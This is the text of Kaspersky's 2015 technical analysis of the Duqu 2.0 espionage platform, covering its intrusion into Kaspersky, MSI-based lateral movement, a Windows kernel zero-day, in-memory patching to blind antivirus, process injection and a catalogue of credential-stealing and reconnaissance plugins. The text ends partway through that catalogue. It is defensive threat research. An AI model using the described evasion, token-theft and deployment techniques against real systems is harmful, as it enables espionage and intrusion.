www.kaspersky.com THE DUQU 2.0 Technical Details Version: 2.1 (11 June 2015) THE DUQU 2.0 Technical Details2 For any inquiries, please contact intelreportskaspersky.com CONTENTS EXECUTIVE SUMMARY 3 INITIAL ATTACK 4 LATERAL MOVEMENT 4 ANALYSIS OF A DUQU 2.0 MSI PACKAGE 7 File properties  7 First Layer: ActionDLL (msi.dll)  10 Second Layer: ActionData0  10 Third Layer: klif.dll  11 Attacking AVP.EXE  12 CTwoPENC.dll zero-day and KMART.dll  14 PAYLOAD CONTAINERS AND MIGRATION 15 Payload type L  15 Payload run type G  16 Payload run type I  16 Payload run type K  17 Payload run type Q  17 PLATFORM PLUGGINABLE MODULES 17 PERSISTENCE MECHANISM 33 COMMAND AND CONTROL MECHANISMS 33 The portserv.sys driver analysis  35 SIMILARITIES BETWEEN DUQU AND DUQU 2.0 37 VICTIMS OF DUQU 2.0 42 ATTRIBUTION 43 CONCLUSIONS 44 REFERENCES 45 mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details3 For any inquiries, please contact intelreportskaspersky.com EXECUTIVE SUMMARY Earlier this year, during a security sweep, Kaspersky Lab detected a cyber intrusion affecting several of its internal systems.
Following this finding, we launched a large-scale investigation, which led to the discovery of a new malware platform from one of the most skilled, mysterious and powerful groups in the APT world  Duqu.
The Duqu threat actor went dark in 2012 and was believed to have stopped working on this project - until now.
Our technical analysis indicates the new round of attacks include an updated version of the infamous  12011 Duqu malware, sometimes referred to as the step-brother of  2Stuxnet.
We named this new malware and its associated platform Duqu 2.0.
Victims of Duqu 2.0 have been found in several places, including western countries, the Middle East and Asia.
The actor appears to compromise both final and utilitarian targets, which allow them to improve their cyber capabilities.
Most notably, some of the new 2014-2015 infections are linked to the P51 events and venues related to the negotiations with Iran about a nuclear deal.
The threat actor behind Duqu appears to have launched attacks at the venues for some of these high level talks.
In addition to the P51 events, the Duqu 2.0 group has launched a similar attack in relation to the  370th anniversary event of the liberation of Auschwitz-Birkenau.
In the case of Kaspersky Lab, the attack took advantage of a zero-day (CVE-2015-2360) in the WindowsKernel, patched by Microsoft on June 9 2015 and possibly up to two other, currently patched vulnerabilities, which were zeroday at that time.
1 https://en.wikipedia.org/wiki/Duqu 2 http://www.kaspersky.com/about/news/virus/2011/Duqu_The_Step_Brother_of_Stuxnet 3 http://70.auschwitz.org/index.php?langen mailto:intelreports40kaspersky.com?subject https://en.wikipedia.org/wiki/Duqu http://www.kaspersky.com/about/news/virus/2011/Duqu_The_Step_Brother_of_Stuxnet http://70.auschwitz.org/index.php?langen THE DUQU 2.0 Technical Details4 For any inquiries, please contact intelreportskaspersky.com INITIAL ATTACK The initial attack against Kaspersky Lab began with the targeting of an employee in one of our smaller APAC offices.
The original infection vector for Duqu 2.0 is currently unknown, although we suspect spear-phishing e-mails played an important role.
This is because for one of the patients zero we identified had their mailbox and web browser history wiped to hide traces of the attack.
Since the respective machines were fully patched, we believe a zero-day exploit was used.
In 2011, we were able to identify Duqu attacks that used Word Documents containing an exploit for a zero-day vulnerability (CVE-2011-3402) that relied on a malicious embedded TTF (True Type Font File).
This exploit allowed the attackers to jump directly into Kernel mode from a Word Document, a very powerful, extremely rare, technique.
A similar technique and zero-day exploit ( 4CVE-2014-4148) appeared again in June 2014, as part of an attack against a prominent international organization.
The CC server used in this 2014 attack as well as other factors have certain similarities with Duqu, however, the malware is different from both Duqu and Duqu 2.0.
It is possible that this is a parallel project from the Duqu group and the same zero-day (CVE-2014-4148) might have been used to install Duqu 2.0.
Once the attackers successfully infected one machine, they moved on to the next stage.
LATERAL MOVEMENT In general, once the attackers gain access into a network, two phases follow: Reconnaissance and identification of network topology Lateral movement In the case of Duqu 2.0, the lateral movement technique appears to have taken advantage of another zero-day, (CVE-2014-6324) which was patched in November 2014 with  5MS14-068 .
This exploit allows an unprivileged domain user to elevate credentials to a domain administrator account.
Although we couldnt retrieve a copy of this exploit, the logged events match the Microsoft detection guidance for this attack.
Malicious modules were also observed performing a pass the hash attack inside the local network, effectively giving the attackers many different ways to do lateral movement.
Once the attackers gained domain administrator privileges, they can use these permissions to infect other computers in the domain.
To infect other computers in the domain, the attackers use few different strategies.
In most of the attacks we monitored, they prepare Microsoft Windows Installer Packages (MSI) and then deploy them remotely to other machines.
To launch them, the attackers create a service on the target machine with the following command line: msiexec.exe /i C:\\[]\tmp8585e3d6.tmp /q PROP9c3c7076-d79f-4c 4 https://www.fireeye.com/blog/threat-research/2014/10/two-targeted-attacks-two-new-zero-days.html 5 https://technet.microsoft.com/library/security/MS14-068 mailto:intelreports40kaspersky.com?subject https://www.fireeye.com/blog/threat-research/2014/10/two-targeted-attacks-two-new-zero-days.html https://technet.microsoft.com/library/security/MS14-068 THE DUQU 2.0 Technical Details5 For any inquiries, please contact intelreportskaspersky.com The PROP value above is set to a random 56-bit encryption key that is required to decrypt the main payload from the package.
Other known names for this parameter observed in the attacks are HASHVA and CKEY.
The folder where the package is deployed can be different from case to case, depending on what the attackers can access on the remote machine.
In addition to creating services to infect other computers in the LAN, attackers can also use the Task Scheduler to start msiexec.exe remotely.
The usage of Task Scheduler during Duqu infections for lateral movement was also observed with the 2011 version and was described by  6Symantec in their technical analysis.
The MSI files used in the attacks contain a malicious stub inside which serves as a loader.
The stub loads the other malware resources right from the MSI file and decrypts them, before passing execution to the decrypted code in memory.
The encryption algorithms used for these packages differ from case to case.
Its important to point out that the attackers were careful enough to implement unique methods, encryption algorithms and names (such as file names) for each attack, as a method to escape detection from security products and limit the ability of an antivirus company to find other infections once one of them has been identified.
So far, weve seen the following encryption algorithms used by the attackers: Camellia AES 6 http://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_ the_next_stuxnet.pdf msiexec.exe - Task Scheduler trace in the logs Malicious stub with query to load the other resources from the MSI file highlighted.
mailto:intelreports40kaspersky.com?subject http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx THE DUQU 2.0 Technical Details6 For any inquiries, please contact intelreportskaspersky.com XTEA RC4 Different multibyte XOR-based encryption For compression algorithms, weve seen the following: LZJB LZF FastLZ LZO In essence, each compiled attack platform uses a unique combination of algorithms that make it very difficult to detect.
The attackers can deploy two types of packages to their victims: Basic, in-memory remote backdoor (500K) Fully featured, CC-capable, in-memory espionage platform (18MB) These have similar structures and look like the following: In the screenshot above, one can see the loader (ActionDll: 17,920 bytes) and the main payload (ActionData0: 476,736 bytes).
Upon execution, ActionDll is loaded and control is passed to its only export, StartAction.
The basic in-memory remote backdoor is pushed to computers inside the domain by the Domain Controller on a regular basis  almost like a worm infection.
This gives the attackers an entry into most of the machines from the domain and if further access is needed, they can upload a more sophisticated MSI file that deploys tens of different plugins to harvest information.
Malicious Duqu 2.0 MSI package.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details7 For any inquiries, please contact intelreportskaspersky.com A thorough description of the malware loading mechanism from the basic remove backdoor MSI can be found below.
ANALYSIS OF A DUQU 2.0 MSI PACKAGE Filename: random / varies from case to case MD5 (example, can vary): 14712103ddf9f6e77fa5c9a3288bd5ee Size: 503,296 bytes File properties The MSI file has the following general properties: Composite Document File V2 Document Little Endian OS: Windows, Version 6.1 Code page: 1252 Title: 7080A304-67F9-4363-BBEB-4CD7DB43E19D (randomly generated GUIDs) Subject: 7080A304-67F9-4363-BBEB-4CD7DB43E19D Author: 7080A304-67F9-4363-BBEB-4CD7DB43E19D Keywords: 7080A304-67F9-4363-BBEB-4CD7DB43E19D Comments: 7080A304-67F9-4363-BBEB-4CD7DB43E19D Template: Intel1033 Last Saved By: 7080A304-67F9-4363-BBEB-4CD7DB43E19D Revision Number: 4ADA4205-2E5B-45B8-AAC2-D11CFD1B7266 Number of Pages: 100 Number of Words: 8 Name of Creating Application: Windows Installer XML (3.0.5419.0) Security: 4 It should be noted that MSI files used in other attacks can have different other properties.
For example, we observed several other fields: Vendor: Microsoft or InstallShield Version: 1.0.0.0 or 1.1.2.0 or 2.0.0.0 mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details8 For any inquiries, please contact intelreportskaspersky.com Some of these are visible via the Windows Explorer file properties dialog box: There are two binary blocks inside this MSI package: mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details9 For any inquiries, please contact intelreportskaspersky.com The first binary, called ActionDll, is in fact a Windows PE DLL file, while the other one is a Camellia-encrypted and LZJB-compressed data payload (the encryption and compression algorithm vary from case to case).
In fact, there are several layers of executable code embedded one into another as compressed or encrypted binary blocks.
Heres a look at a Duqu 2.0 MSI package, with all its internal payloads: We describe these components in more detail below.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details10 For any inquiries, please contact intelreportskaspersky.com First Layer: ActionDLL (msi.dll) Original filename: msi.dll MD5: e8eaec1f021a564b82b824af1dbe6c4d Size: 17920 bytes Link time: 2004.02.12 02:04:50 (GMT) Type: 64-bit PE32 executable DLL for MS Windows This DLL has only one export name called StartAction, which is called in the context of msiexec.exe process.
When this function is called, it retrieves an MSI property called PROP and uses it as a decryption key for the bundled ActionData0 package: Next, the code iterates over 12 possible payloads that have to be decrypted and started.
The payloads are part of the MSI and may have the following names: ActionData0, ActionData1, ActionData2, etc.
The package described here contains only one payload named ActionData0.
Second Layer: ActionData0 This binary chunk contains the main code, in compressed and encrypted format.
It represents a composition of executable, position-independent code blocks mixed with embedded data objects.
The code seems to be based on a framework and heavily uses helper structures that contain pointers to a set of system APIs and offsets to internal data blocks.
Such structures are definitely a trademark of the developer.
When they are initialized, one field (usually the first 4 bytes) contains a magic value that identifies the state and type of the structure.
Another trademark of the coder is the way to import system API by module and export name hashes.
The hashing algorithm was found all over this and other layers of executable code.
Its easily recognizable by two DWORD constants: 0x8A20C27 and 0x67F84FC6.
Basically, the code in ActionData0 passes execution to an embedded executable, which we will refer by its internal name: klif.dll.
The execution is passed to the second exported function in table of exports of this DLL file.
This disregards the export name and relies only on the order of functions in the table of PE export ordinals.
When this export function is called, a next stage helper structure pointer is passed to it, so that it can use some of the values set on the upper layer.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details11 For any inquiries, please contact intelreportskaspersky.com However, before passing execution to klif.dll, the code attempts alternative routes.
First, it attempts to find the name of the following format api-ms-win-shell-XXXX.
dll, where X can be any decimal number.
The name is valid if there is no module with such filename loaded into current process.
The code attempts to iteratively find such name starting from api-ms-win-shell-0000.dll, api-ms-win-shell-0001.dll, api-ms-win- shell-0002.dll and so on.
This may be a dependency to the Duqu platform component that is yet to be discovered.
Right after this, if the name was found, the code attempts to map a section kernel object by name, which is generated using a PRNG-based algorithm.
The name of the section has the following template: \BaseNamedObjects\XXXXXXXX-XXXX-XXXX-XXXX- XXXXXXXX, where X is any hexadecimal digit that is generated based on current system boot time.
So far, the name of the section is machine/boot time dependent, which makes it unique but allows other processes of modules to locate such section if they use the same name generation algorithm.
This section is accessed in different other parts of the code and modules.
Lets refer to this section as OSBoot-section from now.
Once the section name is generated the code tries to open such section and, if it is found, it takes some values from it and attempts to open a specific device and issue a number of IOCTL codes to the driver.
The name of the driver device as well as IOCTL codes are located inside a section of the kernel mode driver KMART.dll that is described below.
The code developer has a preference for using sections to any other ways to access data.
Another use of sections appears to be in mapping the part of code/data where klif.dll is embedded and then finding that section using a hardcoded magic QWORD number: 0xA1B5F8FC0C2E1064.
Once the section is found in address space of current process the code attempts to pass execution to it.
This alternative execution route is not applicable to current MSI file package but simply exists in the code probably due to common code template used for building current MSI package.
It may also be an indicator of another Duqu platform component that wasnt used in the attacks that we observed.
Third Layer: klif.dll Original filename: klif.dll MD5: 3fde1bbf3330e0bd0952077a390cef72 Size: 196096 bytes Link time: 2014.07.06 08:36:50 (GMT) Type: 64-bit PE32 executable DLL for MS Windows Apparently, this file attempts to mimic some of legitimate names of Kaspersky Lab product components: klif.sys.
Although there is neither similarity in code nor in file information, the module uses Kaspersky Lab acronym in its export names: KLInit and KLDone.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details12 For any inquiries, please contact intelreportskaspersky.com When this DLL is loaded into a new process, it simply initializes internal structures, such as those providing pointers to the required system API.
The real payload of this module is located in the KLDone export function, which is second in the list of the export table.
This export function is called from the previous code layer.
First, it makes sure that global application structure is initialized with essential functions from ntdll.dll, kernel32.dll and user32.dll.
System API functions are imported using hashes of export names.
The hashing algorithm is identical to the one described one layer above and uses the same magic constants:  0x8A20C27 and 0x67F84FC6.
Next the code iterates through the list of running processes and hashes lowercase name of each process.
The hash is compared to a hardcoded value of 0x3E3021CB, which is a hash for the avp.exe string.
Attacking AVP.EXE If the avp.exe process is running, the module attempts to open the OSBoot-section as described before and tries to attack the avp.exe process.
The attack starts from identifying the exact path to the installed Kaspersky Lab product by iterating through an array of hardcoded registry keys and values for the following products: The registry values queried by the module contain a filesystem path to the root directory where the corresponding product is installed.
For example: C:\Program Files\Kaspersky Lab\Kaspersky Internet Security 15.0.0\ Once the registry key and value is found, the module confirms that avp.exe file is located in that directory.
It does some basic file availability checks as well: makes sure that environment variables are resolved and the file can be opened for reading and it begins with 0x5A4D (magic MZ value of Windows executables).
After that, the module creates a new section and maps avp.exe as a file view to this section.
To allow code execution, the attributes of this memory region are also changed accordingly.
This allows the module to change bytes from the mapped avp.exe in memory.
The module applies two patches to the mapped avp.exe in a quite unusual way using SSE2 CPU extensions.
In fact, it patches just the old DOS PE header (less than 120 bytes).
The patches are simple callback mechanisms that call arbitrary function passed as an argument.
Right after this, the module attempts to start a new thread that begins with one of the patched locations.
So far, it looks like the new thread begins with a call originating from avp.exe module that does some other calls, i.e.
jumping back to klif.dll.
Apparently, this KES12 KES11 KES10 AVP16.0.0 AVP16 AVP15.0.0 AVP15 AVP14.0.0 AVP14 AVP13 AVP12 AVP11 AVP10 KES9 KES8 AVP80 AVP90 AVP9 AVP8 AVP7 AVP6 mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details13 For any inquiries, please contact intelreportskaspersky.com attack was introduced to trick the avp.exe process into believing that further calls will be safe and trusted as the root of the call stack is coming from the legitimate avp.exe module.
This is what we see further down in the code: the new thread instantly jumps from avp.exe back to klif.dll and tries to communicate with the Kaspersky Lab product minifilter driver, known as klif.sys.
In fact, just before communicating with klif.sys, it opens OSBoot-section and gets an IOCTL code as well as the driver device name to send this IOCTL code to.
The section and corresponding driver (KMART.dll) provide certain support to the current module.
The code hashes current process name and verifies if it falls down into one of three hashes: 0x3E3021CB (avp.exe), 0xDE6D4DA0 (msiexec.exe), 0xB915B2D8 (rundll32.exe).
If current process name hash is recognized, the module communicates with klif.sys by opening \KlifComm minifilter communication port and sending series of driver communication messages.
According to analysis of the messages, this technique makes process or thread operations invisible to the klif interceptor.
Such registered entity is considered to be trusted and its activity is removed from AV-scanning, process monitoring, firewall and other defense engines that are subscribed to intercepted events.
In addition, the module requests support of the self-defense feature of Kaspersky Lab product, which is normally used to protect the software from aggressive malware which kills the security software processes using a number of techniques available from the OS.
This of course guarantees that even a user with administrative privileges cannot stop such process.
Considering that this seemed to be an attack against Kaspersky Lab products, we did some additional tests of the products and found that current products verify the caller process by checking its custom digital signature.
So far, without additional driver support, this technique should fail.
Verification of the digital signature of the process that opened \KlifComm minifilter communication port was implemented in all Kaspersky Lab products since 2010.
So far, this could affect only older products such as KIS2010, which was released by Kaspersky Lab in 2009 It doesnt look realistic now that the attackers started implementing tricks against Kaspersky Lab products in 2009 or earlier.
So we looked for another rational explanation and seem to have found it.
Such an attack doesnt normally work against our products because they verify that the caller process is legitimate by checking its custom digital signature.
To bypass this, the Duqu 2.0 component named KMART.dll patches klif.sys in memory to bypass this check.
The attack works because the attackers KMART.dll is already running in kernel mode due to a vulnerability in the Windows kernel.
After sending the codes, the module proceeds to the next stage, which is process migration, described further below.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details14 For any inquiries, please contact intelreportskaspersky.com CTwoPENC.dll zero-day and KMART.dll The third layer klif.dll performs a multitude of functions in order to ensure the survival of the malware in memory and bypass antivirus detections.
One important step is to get kernel level access.
On 64-bit systems, one cannot simply load and run kernel mode code without a signed driver.
While other attackers such as Equation or Turla chose to piggyback on third-party signed drivers, the Duqu 2.0 platform relies on a much more cunning trick.
One of the payloads bundled together with klif.dll is called CTwoPENC.dll.
This is aWindows kernel mode exploit (CVE-2015-2360) that allows them to run code with the highest privileges in the system We recovered several versions of CTwoPENC.dll, both for 32-bit and 64-bit versions of Windows, with the following compilation timestamps: 2014.08.25 01:20:04 (GMT) 2014.08.25 01:19:03 (GMT) 2014.07.06 09:17:03 (GMT) Unlike other Duqu 2.0 modules, these timestamps appear to be legitimate.
The reason for this remains unknown  perhaps the Duqu platform developers got this module from somebody else and forgot to patch its compilation timestamp.
CTwoPENC.DLL exploits a zero-day vulnerability in win32k.sys to gain kernel privileges while being run as an unprivileged user.
It creates several windows with classes named CPer, Zero, CTwo, Vero in several threads and manipulates the callback pointers.
The main purpose of the exploit is to load a driver named KMART.dll.
If the exploit succeeds, it decompresses KMART.dll from the modules body and passes control Part of the exploit code that registers window classes and creates new windows.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details15 For any inquiries, please contact intelreportskaspersky.com to it while running in kernel mode.
Both 32-bit and 64-bit versions of the KMART.
DLL exist.
This driver implements a kernel-mode attack against the Kaspersky Lab products filter klif.sys.
It patches the import table addresses of system API functions PsGetCurrentProcessId, PsLookupProcessByProcessId and KlGetStringRef export of Kaspersky Labs anti-virus driver klflt.sys.
The intercepted functions are preceded by malicious code that impersonates the other malicious modules as coming from the process/file avp.exe (using the actual location of the anti-virus component), thus evading monitoring by the anti-virus software.
During testing, the zero-day exploit worked on all contemporary Windows versions (XP, Vista, 7, 8, 8.1 both 32-bit and 64-bit).
This vulnerability has been patched by Microsoft on June 9, 2015.
PAYLOAD CONTAINERS AND MIGRATION The module supports a number for different payloads provided in the form of containers following klif.dll in memory (located in PE overlay).
A payload container contains a short header describing target CPU architecture, payload type and target process name or hash.
When the module uses some embedded code or file there is normally at least two variants of code bundled inside: 32 and 64-bit.
Each payload run type is identified by a single character.
Current module supports the following 5 payload run types: g, i, k, l, q.
Seems like the developer used ordered alphabet characters, which means that there could be other payload run types which were removed from the code at some time.
Currently the container located in the overlay of subject executable contains a l character as a payload run type, so lets describe it first.
Payload type L First, the code looks for privileges from other processes.
The process handle can be hardcoded or obtained by looking for currently running processes, hashing their names and comparing them to one of known hashes.
The module includes the following hardcoded process hashes: 0x31283314 (services.exe), 0x1026D1BA (lsass.exe), 0x3BD2498C (svchost.exe).
If any of the recognized processes are found, the module opens process token and verifies that the following privileges  are available: SeDebugPrivilege SeTcbPrivilege SeAssignPrimaryTokenPrivilege SeIncreaseQuotaPrivilege SeImpersonatePrivilege SeRestorePrivilege If they are available the module duplicates process token and saves it into an internal structure for future use.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details16 For any inquiries, please contact intelreportskaspersky.com The module looks for one of the available security suites installed in current system and some generic processes if nothing was found.
It attempts to find executable files of the following software: More than 20 different Kaspersky Lab products McAfee VSCore, SystemCore, HIP Symantec Internet Security Bitdefender ESET HBEDV TrendMicro Network Security Component Rising AV Avast AVG 2012/2013/2014/2015 F-Secure Qihoo 360 Security Generic Windows Processes: o ProgramFiles(x86)\Windows Defender\MsMpEng.exe o SystemRoot\syswow64\svchost.exe o SystemRoot\system32\lsass.exe o SystemRoot\system32\svchost.exe When such an executable is found and eventually it should (at least svchost or lsass.
exe should be present), it runs a new process from discovered location and replaces its executable code with own embedded into current executable in encrypted and compressed form.
If the code manages to find a security token from one of the processes with required security privileges, it will try to use this token when creating a new process using CreateProcessAsUser API.
Otherwise it simply spawns new process instance.
The new process is started in suspended and debugged state.
Just before starting the new process it disables DEP for the child processes to simplify code injection and data manipulation.
So far, from the outside, it may look like a security software was started, while from the inside its code is completely different from legitimate module.
Payload run type G This payload is almost identical to payload L described above, but the loader is simpler - it skips hijacking of privileged token.
Code injection target is selected automatically depending on the availability of known processes.
Payload run type I This payload is similar to payload G, but makes the loader parse payload header a bit differently: instead of process name string it takes only 4 bytes, which are supposedly used as a process hash.
This seems to be a way to hide target process name and use only hash, however this hasnt been implemented completely in the module we analyzed.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details17 For any inquiries, please contact intelreportskaspersky.com Payload run type K This payload is designed to run within the context of the current process.
The code simply copies the code to be executed into separate memory and runs it in a dedicated thread.
It blocks until thread finishes its execution.
Payload run type Q This payload is identical to payload K described above but it doesnt block execution when a new thread is started.
So far, the new code runs asynchronously.
After the payload container is opened and code migrated to another process, which can be elevated and protected from security software, the real malicious code is activated.
In most cases, it is simple named pipe based backdoor that listens for incoming communications from the orchestrator.
In rare cases, on selected machines, it can be heavy orchestrator module that communicates with command and control server, works as a bidirectional proxy and comes with a large bundle of secondary plugins.
PLATFORM PLUGGINABLE MODULES In addition to the basic remote backdoor, the attackers deploy more sophisticated packages to domain controllers and to the victims of interest inside the LAN.
These MSI packages can contain tens of different modules designed for various cyberespionage functions.
The fully featured packages are much larger than the basic remote backdoor  18MB vs 500KB.
They follow the same structure, with ActionDll and the loader mechanism, except they contain a lot more plugins to load and run.
During our analysis, we identified more than 100 variants of such plugins.
A description of these plugins follows.
To separate them, we used a virtual identifier based on the first two bytes of their MD5 sum.
03B7  The main module of Duqu 2.0, orchestrator.
Implements multiple protocol handlers for CC communication, can start an intermediate CC proxy server with a self-signed HTTPS certificate.
Starts the plugin framework, loads and manages all additional plugins.
It works via HTTP, HTTPS, SMB network pipes or direct TCP connection using a custom, encrypted protocol.
Interaction via HTTP is concealed in JPEG or GIF files, similar to the 2011 version of Duqu.
Request names, URLs and User-Agent strings may vary between attacks.
Additional known variants: 3026, 4F11.
0682  Collects basic system information: List of running processes Active desktop and terminal sessions mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details18 For any inquiries, please contact intelreportskaspersky.com Collected information is then transmitted to a named pipe provided by the caller.
Additional known variants: C0B7 073C  Implements a complete Windows socket-based transport, both client and server side.
Provides a class factory for the class that encapsulates various networking functions.
0872  MSI CustomAction library that is activated when the malicious installer package is started by the Windows Installer.
Loads the encrypted binary blob that contains actual malicious payload, decrypts and then executes it in memory.
The names in version information vary: svcmsi_32.dll, msi3_32.dll, MSI.dll, msi4_32.dll.
Encryption algorithms also vary: Camellia 256, AES, XXTEA.
The decryption key is extracted from an MSI parameter, possible names: PROP, HASHVA, CKEY.
The encrypted blob is searched by prefixes (can vary):  ActionData, CryptHashs, CAData.
Both 32-bit and 64-bit versions are known.
Additional known variants: 8D7C, 16EF, E6E5, 434C, 44BD, F708.
09A0  64-bit, Exfiltrates file contents, particularly searching for files matching these rules: .inuse, .hml filename contains data.hmi or val.dat files from the /Int/HMI/ or /LG/HM/ folders.
Additional known variants: 8858 0AB8  Provides 25 functions for manipulating files and directories: List files in directories Upload and download arbitrary files Read/write file contents File and directory names of interest for the 09A0 plugin.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details19 For any inquiries, please contact intelreportskaspersky.com In several cases, the modules are looking specifically for directories named \int, \lg, \ of\md, \tl, \ak and files with extensions .part, .manual, .inuse.
Additional known variants: A69E.
0B97  Network transport.
Implements API for connecting sockets and pipes provided by the caller.
Additional variant: 56A2.
152B  Network and domain discovery.
Enumerates all servers in the domain Tries to connect to remote registries and enumerate all users in HKEY_USERS.
Usernames are then converted to SIDs Enumerates all visible network shares Additional known variants: A987 1C71  In-memory storage.
Receives and stores string data in file mappings.
2125  Network infection module.
Tries to acquire administrative credentials from the running processes and then connect to a target machine using Windows shares.
The machine is infected with a malicious DLL backdoor, the target directory varies and may be in UPDROOT, ADMIN or C. Uses custom SMB packets to identify the target OS version.
The target malicious DLL is then started using a new service created with a name svcmsi_32.
The module communicates with the target backdoor via Windows pipes.
Additional variant: DB65.
Instead of the malicious DLL, it uploads a new MSI package and then relies on MSIEXEC.EXE to start the MSI via a newly created service named msisvc_32, the target MSI name is generated randomly using a template tmpx.
tmp.
Administrative credentials are acquired by stealing a token from any running process that was started by a logged on user having domain administrators rights.
For that, it first File and directory names of interest for the 0AB8 plugin.
Example of a Windows event log (System) entry created at the moment of infection.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details20 For any inquiries, please contact intelreportskaspersky.com queries for the first 100 administrative usernames in the current domain directly from the domain controller.
24B7  Remote desktop administration.
Acquires the screenshots of the desktop but also can send input to the desktop, move the mouse cursor.
Both 32-bit and 64-bit variants exist.
Additional known variants: 65BE, 7795, BDC8, DEE2 26D6  Detects running network sniffers (wireshark, tcpview, netstat, dumpcap, perfmon) implements a TCP server and communicates via network pipes.
Internal name: P.dll.
2829  Collects system information Monitors USB device attachment Collects USB drive history Enumerates network shares, windows captions, system routing tables Reads/writes encrypted files 2913 - WMI data collection Enumerate profiles with SIDs For each profile, extracts information from lnk files in the profile directory Enumerate processes via WMI (CIMV2), including terminated processes Extracts user information from available remote registries Additional known variant: C776 29D4 - Service msisvc_32 DLL backdoor that is used for network infection by module 2125.
Accepts commands via named pipe Global\B54E3268-DE1E-4c1e-A667- 2596751403AD.
Both 32-bit and 64-bit variants exists.
Remote locations used by the network infection module.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details21 For any inquiries, please contact intelreportskaspersky.com Additional known variants: 6F92, A505, D242 2B46  Extensive collection of system and user information Domain controllers name List of users in the domain Administrators of the domain Enumerates domain trusts TCP tables UDP tables SNMP discovery (OS, parse all replies) USB drive history, mounted devices Installed programs Time zone OS install date ODBC.ini, SQL Server instance info, Oracle ALL_HOMES, SyBase, DB2, MS SQL, MySQL last connections DHCP/routing Network profiles Zero Config parameters Connected printers MRU list for WinRAR, WinZip, Office, IE typed URLs, mapped network drives, Visual Studio MRU Terminal Service Client default username hint User Assist history PuTTY host keys and sessions Logged on users Network adapter configuration VNC clients passwords Scan the network and identify OS using SMB packet Some of the registry locations harvested by the module.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details22 For any inquiries, please contact intelreportskaspersky.com Additional known variants: A7F8 2BF7 - Utility DLL.
Provides basic API for creating new MSI packages, loading and injecting arbitrary PE modules.
Also responsible for loading the first level of the VFS inside the malicious MSI files.
Both 32-bit and 64-bit versions exist.
Known names: ntdll.dll, klif.dll, apiset.dll.
Additional known variants: 6DA1, 32DB, 8304, 9931, 9E60, A2D4, ABA9, B3BB, DC5F, DD32, F7BB 3395  MS SQL discovery module.
Module can send ARP packets to network and discover MS SQL Server ports.
Additional functions are responsible for connecting and reading of remote registry contents.
35E9  File system discovery.
Enumerate network shares Enumerate local disks Traverse files system hierarchy and enumerate files identify reparse points 3F45  Pipe backdoor.
Opens a new globally visible named Windows pipe, receives and executes encrypted commands.
The magic string that identifies the encrypted protocol is tttttttt.
Enumerates running processes Loads and executes arbitrary PE files Both 32-bit and 64-bit versions exist.
Known pipe names: \\.\pipe\AAFFC4F0-E04B-4C7C-B40A-B45DE971E81E \\.\pipe\AB6172ED-8105- 4996-9D2A-597B5F827501 \\.\pipe\0710880F-3A55-4A2D-AA67-1123384FD859 \\.\pipe\6C51A4DB-E3DE- 4FEB-86A4-32F7F8E73B99 \\.\pipe\7F9BCFC0-B36B-45EC-B377-D88597BE5D78, \\.\pipe\57D2DE92-CE17- 4A57-BFD7-CD3C6E965C6A Additional known variants: 6364, 3F8B, 5926, A90A, DDF0, A717, A36F, 8816, E85E, E927 mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details23 For any inquiries, please contact intelreportskaspersky.com 4160 - Password stealer Extracts Google Chrome and Firefox login data LSA credentials Additional known variants: B656 41E2  Password stealer.
64-bit module.
Extracts: IE IntelliForms history POP3/HTTP/IMAP passwords TightVNC, RealVNC,  WinVNC3/4 passwords Outlook settings SAM, LSASS cache Windows Live, .Net Passport passwords Additional known variants: 992E, AF68, D49F 482F  Collects system information.
Enumerates disk drives Gets list of running processes Extensive process information including uptime Data used to locate Chrome saved logins.
References to information collected by the module.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details24 For any inquiries, please contact intelreportskaspersky.com Memory information SID information Additional known variants: F3F4 559B  Active Directory survey.
Connects to the Active Directory Global Catalog (GC:) using ADSI Enumerates all objects in AD Presents every entry in a human-readable format 580C  - Collects system and network information.
Retrieves the domain controller name Enumerates all users and groups in the domain Collects Task Scheduler logs Collects disk information, removable device history Retrieves firewall policies Enumerates all named system objects Enumerates all system services Active Directory enumeration routine.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details25 For any inquiries, please contact intelreportskaspersky.com 5B78 - Collects system information and utilities.
One of the two exported functions has a name GetReport.
Enumerate running processes, extract tokens and SIDs, collect timing information Logon users using explicit credentials Impersonate users of running processes Build new 32-bit and 64-bit shellcode stubs using a hardcoded template Both 32-bit and 64-bit versions exist.
Additional known variants: E8C7, EE6E.
5C66  Encrypted file I/O, utilities File I/O operations: open/seek/read/write Manages compressed and encrypted temporary files mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details26 For any inquiries, please contact intelreportskaspersky.com 622B - Generate XML report about system using unique schema Computer name Windows directory Enumerates all logical drives Lists all files OS serial number Domain name Network adapter configuration: IP addresses, MAC, MTU, adapter list 6302 - Utilities.
Has internal name d3dx9_27.dll.
Executes timer-based events.
Additional known variants: FA84 669D  Utilities.
Given a list of file names and directories, checks if they exist.
Additional known variants: 880B XML tags used to generate the system report.
mailto:intelreports40kaspersky.com?subject THE DUQU 2.0 Technical Details27 For any inquiries, please contact intelreportskaspersky.com 6914 - Sniffer-based network attacks.
